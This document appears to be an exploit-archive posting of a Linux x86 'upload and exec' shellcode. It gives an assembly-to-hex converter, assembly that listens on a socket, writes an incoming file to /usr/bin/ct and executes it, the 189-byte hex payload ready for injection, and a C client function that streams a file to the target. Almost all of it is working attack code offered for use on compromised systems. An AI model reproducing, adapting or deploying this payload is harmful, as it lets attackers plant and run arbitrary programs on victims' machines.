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linux/x86 upload & exec 189 bytes
================================= linux/x86 upload & exec 189 bytes ================================= UPLOAD & EXEC SHELLCODE [1] converting asm to hex [2] asm code [3] hex output [4] upload function This is an 'upload and exec' shellcode for the x86 platform. File has to be in executable format, cool if you know the distribution of the target, otherwise it is useless. -cybertronic [1] /* * convert .s to shellcode typo/teso (typo@inferno.tusculum.edu) * * $ cat asm.s * .globl cbegin * .globl cend * cbegin: * "asm goes here" * cend: * $ gcc -Wall asm.s asm2hex.c -o out * $ ./out * */ #include extern void cbegin(); extern void cend(); int main () { int i = 0; int x = 0; char* buf = ( char* ) cbegin; printf ( "unsigned char shellcode[] =\n\"" ); for ( ; ( *buf ) && ( buf < ( char* ) cend ); buf++ ) { if ( i++ == 16 ) i = 1; if ( i == 1 && x != 0 ) printf ( "\"\n\"" ); x = 1; printf ( "\\x%02x", ( unsigned char )* buf ); } printf ( "\";\n" ); return ( 0 ); } [2] # append to any bind shellcode # gcc -Wall upload-exec.s asm2hex.c -o upload-exec # cybertronic .globl cbegin .globl cend cbegin: movl %eax,%ecx jmp getstr start: popl %esi leal (%esi),%ebx xorl %eax,%eax movb %al,0x0b(%esi) pushl %esi pushl %ecx movb $0x05,%al movw $0x241,%cx movw $00777,%dx int $0x80 movl %eax,%edi popl %esi read: movl %esi,%ebx movb $0x03,%al leal -200(%esp),%ecx movb $0x01,%dl int $0x80 cmpl $0xffffffff,%eax je end xorl %ecx,%ecx cmpl %eax,%ecx je continue leal -200(%esp),%ecx xorl %ebx,%ebx movl %edi,%ebx movl %eax,%edx movb $0x04,%al int $0x80 jmp read continue: movb $0x06,%al movl %esi,%ebx int $0x80 movb $0x06,%al xorl %ebx,%ebx movl %edi,%ebx int $0x80 xorl %esi, %esi popl %esi movl %esi,0x0c(%esi) xorl %eax,%eax movl %eax,0x10(%esi) movb $0x0b,%al xchgl %esi,%ebx leal 0x0c(%ebx),%ecx leal 0x10(%ebx),%edx int $0x80 end: xorl %eax,%eax incl %eax int $0x80 getstr: call start .string "/usr/bin/ct" cend: [3] /* * linux x86 * 189 bytes upload & exec shellcode by cybertronic * cybertronic[at]gmx[dot]net * */ unsigned char shellcode[] = "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" "\x89\xc7\x52\x66\x68\xc7\xc7\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0" "\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50" "\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xc1\xeb\x70\x5e\x8d\x1e" "\x31\xc0\x88\x46\x0b\x56\x51\xb0\x05\x66\xb9\x41\x02\x66\xba\xff" "\x01\xcd\x80\x89\xc7\x5e\x89\xf3\xb0\x03\x8d\x8c\x24\x38\xff\xff" "\xff\xb2\x01\xcd\x80\x83\xf8\xff\x74\x3e\x31\xc9\x39\xc1\x74\x13" "\x8d\x8c\x24\x38\xff\xff\xff\x31\xdb\x89\xfb\x89\xc2\xb0\x04\xcd" "\x80\xeb\xd3\xb0\x06\x89\xf3\xcd\x80\xb0\x06\x31\xdb\x89\xfb\xcd" "\x80\x31\xf6\x5e\x89\x76\x0c\x31\xc0\x89\x46\x10\xb0\x0b\x87\xf3" "\x8d\x4b\x0c\x8d\x53\x10\xcd\x80\x31\xc0\x40\xcd\x80\xe8\x8b\xff" "\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x63\x74"; [4] int upload ( char* ip ) { int s; int fd; char ch; struct stat st; s = conn ( ip ); if ( ( fd = open ( "file", O_RDONLY ) ) == -1 ) return ( 1 ); fstat ( fd, &st ); while ( st.st_size-- > 0 ) { if ( read ( fd, &ch, 1 ) < 0 ) return ( 1 ); if ( write ( s, &ch, 1 ) < 0 ) return ( 1 ); } close ( fd ); close ( s ); return ( 0 ); } # 0day.today [2024-10-06] #